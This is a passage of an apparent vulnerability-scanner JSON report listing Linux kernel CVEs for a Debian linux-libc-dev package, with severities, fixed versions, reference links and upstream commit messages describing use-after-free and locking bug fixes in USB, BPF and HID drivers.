"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64342", "https://git.kernel.org/linus/bc0e4f16c44e50daa0b1ea729934baa3b4815dee%20%287.2-rc3%29", "https://git.kernel.org/stable/c/164398601a7f160bc3df1efa454f983302cef03f", "https://git.kernel.org/stable/c/97ad9337127be04ca0b027c2b01e69302353f404", "https://git.kernel.org/stable/c/a7bbe946ca3a6eeb6f364d5e84b05e02c7c0d595", "https://git.kernel.org/stable/c/b748f97aff339e7f08dca9cf38a05b980fb66fea", "https://git.kernel.org/stable/c/bc0e4f16c44e50daa0b1ea729934baa3b4815dee", "https://git.kernel.org/stable/c/d058d377291567b72aea33b017215cbfb383b0ad", "https://git.kernel.org/stable/c/e4596816984efc537e7c04c1af0c639394f967f7", "https://git.kernel.org/stable/c/f328b0e9a0dbd162f5db1b83026b689f2fea2241", "https://linux.oracle.com/cve/CVE-2026-64342.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072516-CVE-2026-64342-06a6@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64342", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64342" ], "PublishedDate": "2026-07-25T10:17:16.227Z", "LastModifiedDate": "2026-11-06T17:18:49.903Z" }, { "VulnerabilityID": "CVE-2026-64343", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64343", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6c5aeb54d3a12af80842409fc9704a3eef1b79ce9e99a57e61db8a084d9a3ba7", "Title": "kernel: USB: ldusb: fix use-after-free on disconnect race", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: ldusb: fix use-after-free on disconnect race\n\nmutex_unlock() may access the mutex structure after releasing the lock\nand therefore cannot be used to manage lifetime of objects directly\n(unlike spinlocks and refcounts). [1][2]\n\nUse a kref to release the driver data to avoid use-after-free in\nmutex_unlock() when release() races with disconnect().\n\n[1] a51749ab34d9 (\"locking/mutex: Document that mutex_unlock() is\n non-atomic\")\n[2] 2b9d9e0a9ba0 (\"locking/mutex: Clarify that mutex_unlock(), and most\n other sleeping locks, can still use the lock object\n after it's unlocked\")", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64343", "https://git.kernel.org/linus/19bdfc7b3c179331eafa423d87e1336f43bbfeb8%20%287.2-rc3%29", "https://git.kernel.org/stable/c/02ca08fff74cf9b0a3c4d2cacde1c6edeeb95bb4", "https://git.kernel.org/stable/c/19bdfc7b3c179331eafa423d87e1336f43bbfeb8", "https://git.kernel.org/stable/c/2107a4fc8ff1cf1d52f416c1e5cc8e97413a5915", "https://git.kernel.org/stable/c/a3e794136ab5e3ad1e7019175a4b837aec86db4b", "https://git.kernel.org/stable/c/af59829e67e11ba2511a9f8e4b9111afc7d1f550", "https://git.kernel.org/stable/c/d8f69404e1d671326f86d378b9f5bfbd56490e9d", "https://git.kernel.org/stable/c/e5a9bdce4bfd3e2226b5f3df5fb8385d6935ee69", "https://git.kernel.org/stable/c/fc55923a972e715f9a27187b47d4920709e23d85", "https://kernelcve.org/list/?q=CVE-2026-64343", "https://linux.oracle.com/cve/CVE-2026-64343.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072516-CVE-2026-64343-c9e5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64343", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64343" ], "PublishedDate": "2026-07-25T10:17:16.353Z", "LastModifiedDate": "2026-11-06T17:18:50.073Z" }, { "VulnerabilityID": "CVE-2026-64344", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64344", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:629f8ed6aefee52a717490467fcabcd613c85a609873a400f29353e92d4527f2", "Title": "kernel: USB: idmouse: fix use-after-free on disconnect race", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: idmouse: fix use-after-free on disconnect race\n\nmutex_unlock() may access the mutex structure after releasing the lock\nand therefore cannot be used to manage lifetime of objects directly\n(unlike spinlocks and refcounts). [1][2]\n\nUse a kref to release the driver data to avoid use-after-free in\nmutex_unlock() when release() races with disconnect().\n\n[1] a51749ab34d9 (\"locking/mutex: Document that mutex_unlock() is\n non-atomic\")\n[2] 2b9d9e0a9ba0 (\"locking/mutex: Clarify that mutex_unlock(), and most\n other sleeping locks, can still use the lock object\n after it's unlocked\")", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64344", "https://git.kernel.org/linus/ff002c153f9722caece3983cc23dc4d9d4652cb4%20%287.2-rc3%29", "https://git.kernel.org/stable/c/31e75fed8f90cfea9f8285e7ed135b0e452bf872", "https://git.kernel.org/stable/c/54c2b7356b4aeea467f9fb13b85e9e036bc428cb", "https://git.kernel.org/stable/c/60fc5ef4ecea3e3d1fe556cecf53ddd13096ef09", "https://git.kernel.org/stable/c/8d53b14ad4ccbff6d306b3a39c812303f4a87d41", "https://git.kernel.org/stable/c/d0f61acb51a8c8f3fd41c303ddb7770cd83e7ed4", "https://git.kernel.org/stable/c/e88cff5fbaa629f3cab45c8b46f395d62c2eb515", "https://git.kernel.org/stable/c/f62622e947f82a3854a8502d09492ffbdeb252b4", "https://git.kernel.org/stable/c/ff002c153f9722caece3983cc23dc4d9d4652cb4", "https://kernelcve.org/list/?q=CVE-2026-64344", "https://linux.oracle.com/cve/CVE-2026-64344.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072516-CVE-2026-64344-3b7c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64344", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64344" ], "PublishedDate": "2026-07-25T10:17:16.487Z", "LastModifiedDate": "2026-11-06T17:18:50.247Z" }, { "VulnerabilityID": "CVE-2026-64346", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64346", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3a7606c006756d2a75c379d9159db1a2801167c23402d8b4a6131ef3ee18b53f", "Title": "kernel: usb: gadget: udc: Fix use-after-free in gadget_match_driver", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: udc: Fix use-after-free in gadget_match_driver\n\nThe udc structure acts as the management structure for the gadget,\nbut their lifecycles are decoupled. A race condition exists where\nusb_del_gadget() frees the udc memory (e.g., via mode-switch work)\nwhile gadget_match_driver() concurrently accesses the freed udc memory\n(e.g., via configfs), causing a Use-After-Free (UAF) that triggers a\nNULL pointer dereference when the freed memory is zeroed:\n\n[39430.908615][ T1171] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000\n[39430.911397][ T1171] pc : __pi_strcmp+0x20/0x140\n[39430.911441][ T1171] lr : gadget_match_driver+0x34/0x60\n...\n[39430.911890][ T1171] usb_gadget_register_driver_owner+0x50/0xf8\n[39430.911910][ T1171] gadget_dev_desc_UDC_store+0xf4/0x140\n[39430.931308][ T1171] configfs_write_iter+0xec/0x134\n\n[39430.957058][ T1171] Workqueue: events_freezable __dwc3_set_mode\n[39430.957287][ T1171] dwc3_gadget_exit+0x34/0x8c\n[39430.957304][ T1171] __dwc3_set_mode+0xc0/0x664\n\nFix this by ensuring the udc structure remains allocated until the\ngadget is released. To achieve this, introduce a new\nusb_gadget_release() routine to the core. When the gadget is added,\nusb_add_gadget() stores the gadget's release routine in the udc\nstructure and takes a reference to the udc. When the gadget is\nreleased, usb_gadget_release() drops the reference to the udc and\nthen calls the gadget's release routine.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64346", "https://git.kernel.org/linus/67e511d2989eb1c8c588b599ce2fcc6bb8e6f7ea%20%287.2-rc3%29", "https://git.kernel.org/stable/c/50eeb8e8a4f389efc91b93cff14a683e714ec194", "https://git.kernel.org/stable/c/54fa390aae393eb130f307a85562e3001cc39a52", "https://git.kernel.org/stable/c/67e511d2989eb1c8c588b599ce2fcc6bb8e6f7ea", "https://git.kernel.org/stable/c/7a5214dae906d9f58e07bc4995e8181ee74439f4", "https://git.kernel.org/stable/c/b52476a83d9e12df00765359d728a875b128bef1", "https://git.kernel.org/stable/c/d026f71df141c9b064ff32a78af5391a31ef75c2", "https://git.kernel.org/stable/c/f845852a5a8914277031f47d8de0f350fef52405", "https://kernelcve.org/list/?q=CVE-2026-64346", "https://linux.oracle.com/cve/CVE-2026-64346.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072517-CVE-2026-64346-7f7f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64346", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64346" ], "PublishedDate": "2026-07-25T10:17:16.757Z", "LastModifiedDate": "2026-11-06T17:18:50.437Z" }, { "VulnerabilityID": "CVE-2026-64348", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64348", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:afb3bbb15dbc98c251977d1e5498e4a4b7511f112bcb127e59de21cdd6d88b84", "Title": "kernel: usb: free iso schedules on failed submit", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: free iso schedules on failed submit\n\nEHCI and FOTG210 isochronous submits build an ehci_iso_sched before\nlinking the URB to the endpoint queue, and keep the staged schedule in\nurb-\u003ehcpriv until iso_stream_schedule() and the link helpers consume it.\nIf the controller is no longer accessible, or usb_hcd_link_urb_to_ep()\nfails, submit jumps to done_not_linked before that handoff happens and\nleaks the staged schedule still attached to urb-\u003ehcpriv.\n\nFree the staged schedule from done_not_linked when submit fails before\nthe URB is linked and clear urb-\u003ehcpriv after the free.\n\nThe bug was first flagged by an experimental analysis tool we are\ndeveloping for kernel memory-management bugs while analyzing\nv6.13-rc1. The tool is still under development and is not yet publicly\navailable. Manual inspection confirms that the bug is still\npresent in v7.1.1.\n\nAn x86_64 allyesconfig build showed no new warnings. As we do not have an\nEHCI host controller with a USB isochronous device to test with, no\nruntime testing was able to be performed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64348", "https://git.kernel.org/linus/b9399d25fbb34a05bbe76eeedd730f62ff2670e9%20%287.2-rc3%29", "https://git.kernel.org/stable/c/4bb88aee6b868cbf73bf453f62497802f5fe4769", "https://git.kernel.org/stable/c/6bc17a78a05671d303820224fb37ca339c1dc2cb", "https://git.kernel.org/stable/c/8890699eea19027ef6e4f9cbcf27cba5e789793f", "https://git.kernel.org/stable/c/ab12316c4639237cc9d50c80a0c6240f11fbba3f", "https://git.kernel.org/stable/c/b0d00d077f9738d215af9b50c74dffab7a1de19f", "https://git.kernel.org/stable/c/b9399d25fbb34a05bbe76eeedd730f62ff2670e9", "https://git.kernel.org/stable/c/be5004395dfd0b6ec310db359f887fa396fd0dd2", "https://linux.oracle.com/cve/CVE-2026-64348.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026072517-CVE-2026-64348-48f1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64348", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64348" ], "PublishedDate": "2026-07-25T10:17:17.04Z", "LastModifiedDate": "2026-11-06T17:18:50.79Z" }, { "VulnerabilityID": "CVE-2026-64352", "VendorIDs": [ "DSA-6405-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64352", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:239050e4157d3392bb018c3d35ca3b0f6453c6ae793459fed11aba4dcd197e96", "Title": "kernel: bpf: Allow LPM map access from sleepable BPF programs", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Allow LPM map access from sleepable BPF programs\n\ntrie_lookup_elem() annotates its rcu_dereference_check() walks with\nonly rcu_read_lock_bh_held(). Because rcu_dereference_check(p, c)\nresolves to \"c || rcu_read_lock_held()\", this passes for XDP/NAPI and\nclassic RCU readers but fails for sleepable BPF programs, which enter\nvia __bpf_prog_enter_sleepable() and hold only rcu_read_lock_trace().\n\ntrie_update_elem() and trie_delete_elem() have the same problem in a\ndifferent form: they walk the trie with plain rcu_dereference(), which\nasserts rcu_read_lock_held() unconditionally. Both are reachable from\nsleepable BPF programs via the bpf_map_update_elem / bpf_map_delete_elem\nhelpers, and from the syscall path under classic rcu_read_lock(). In\nthe writer paths the trie is actually protected by trie-\u003elock (an\nrqspinlock taken across the walk); we never relied on the RCU read-side\nlock to keep nodes alive there.\n\nA sleepable LSM hook that ends up touching an LPM trie therefore\ntriggers lockdep on debug kernels:\n\n =============================\n WARNING: suspicious RCU usage\n 7.1.0-... Tainted: G E\n -----------------------------\n kernel/bpf/lpm_trie.c:249 suspicious rcu_dereference_check() usage!\n 1 lock held by net_tests/540:\n #0: (rcu_tasks_trace_srcu_struct){....}-{0:0},\n at: __bpf_prog_enter_sleepable+0x26/0x280\n Call Trace:\n dump_stack_lvl\n lockdep_rcu_suspicious\n trie_lookup_elem\n bpf_prog_..._enforce_security_socket_connect\n bpf_trampoline_...\n security_socket_connect\n __sys_connect\n do_syscall_64\n\nThis is lockdep-only -- no UAF, since Tasks Trace RCU does serialize\nagainst the trie's reclaim path -- but it spams the console once per\ndistinct callsite on every debug kernel running a sleepable BPF LSM\nthat touches an LPM trie, which is increasingly common.\n\nFor the lookup path, switch the rcu_dereference_check() annotation\nfrom rcu_read_lock_bh_held() to bpf_rcu_lock_held(), which accepts all\nthree contexts (classic, BH, Tasks Trace). Other map types already\nfollow this convention.\n\nFor trie_update_elem() and trie_delete_elem(), annotate the walks as\nrcu_dereference_protected(*p, 1) -- matching trie_free() in the same\nfile -- since trie-\u003elock is held across the walk. rqspinlock has no\nlockdep_map, so the predicate degenerates to '1' rather than\nlockdep_is_held(\u0026trie-\u003elock); the protection is real but not\nmachine-verifiable. trie_get_next_key() also uses bare\nrcu_dereference() but is reachable only from the BPF syscall, which\nholds classic rcu_read_lock() before dispatching, so it is left\nuntouched.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 1, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 1, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64352", "https://access.redhat.com/security/cve/CVE-2026-64352", "https://git.kernel.org/linus/2f884d371fafea137afea504d49ee4a7c8d7985b%20%287.2-rc1%29", "https://git.kernel.org/stable/c/2f884d371fafea137afea504d49ee4a7c8d7985b", "https://git.kernel.org/stable/c/304ca50582f0c047370f85e13caec456f78c9fcc", "https://git.kernel.org/stable/c/57454944737f3ad9a8703aecbbb79713b513a94b", "https://git.kernel.org/stable/c/9bfdf4b81b0e56d47bc6c46c34a46638be716695", "https://git.kernel.org/stable/c/bd6ad9a6b30498d845413e863fb95c6fab3babe3", "https://git.kernel.org/stable/c/ec662a8b2cde01e76b37ccd4b992d0342299e69c", "https://git.kernel.org/stable/c/f0967d4f1ba4323a3cb7dc8fdba74dd3a8caaf04", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-irmuomkifmqk.toml", "https://linux.oracle.com/cve/CVE-2026-64352.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072518-CVE-2026-64352-f0f9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64352", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64352" ], "PublishedDate": "2026-07-25T10:17:17.547Z", "LastModifiedDate": "2026-11-06T17:18:51.143Z" }, { "VulnerabilityID": "CVE-2026-64362", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64362", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8ab1a1e91520ecd614f6bd59c76a978f3afdaf99a7381dd603a4ae9d546e2cc8", "Title": "kernel: HID: lg-g15: cancel pending work on remove to fix a use-after-free", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: lg-g15: cancel pending work on remove to fix a use-after-free\n\nlg_g15_data is allocated with devm and holds a work item. The report\nhandlers schedule that work straight from device input.\nlg_g15_event() and lg_g15_v2_event() do it on the backlight cycle key,\nand lg_g510_leds_event() does it too. The worker dereferences the\nlg_g15_data back through container_of.\n\nThe driver had no remove callback and never cancelled the work. So if a\nreport scheduled the work and the keyboard was then unplugged, devres\nfreed lg_g15_data while the work was still pending or running, and the\nworker touched freed memory. This is a use-after-free. It is reachable\nas a race on device unplug.\n\nAdd a remove callback that cancels the work before devres frees the\nstate. g15-\u003ework is only initialized for the models that schedule it\n(G15, G15 v2, G510). The G13 and Z-10 leave it zeroed, so guard the\ncancel on g15-\u003ework.func to avoid cancelling a work that was never set\nup. The g15 NULL test mirrors the one already in lg_g15_raw_event().", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64362", "https://git.kernel.org/linus/7705b4140d188ce22656f6e541ae7ef834c7e11a%20%287.2-rc3%29", "https://git.kernel.org/stable/c/33cd1a000daf929356aacf2b191d31714ff0615e", "https://git.kernel.org/stable/c/3b9a3919aac6977262f04d5365c0456877522a44", "https://git.kernel.org/stable/c/4aef9676c26dff8723b56834951cfc6b618f0986", "https://git.kernel.org/stable/c/4d0d51bc12d246accbfbb94de05d729c68c9b8fb", "https://git.kernel.org/stable/c/7705b4140d188ce22656f6e541ae7ef834c7e11a", "https://git.kernel.org/stable/c/8131f4226688c4be5f30874d167e44dab838eb09", "https://git.kernel.org/stable/c/acce9dee807f21184fff19ad17c8ed464247e7f7", "https://git.kernel.org/stable/c/dfc6e61f83113cc18346b6988f07271c0063357d", "https://kernelcve.org/list/?q=CVE-2026-64362", "https://linux.oracle.com/cve/CVE-2026-64362.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072521-CVE-2026-64362-041c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64362", 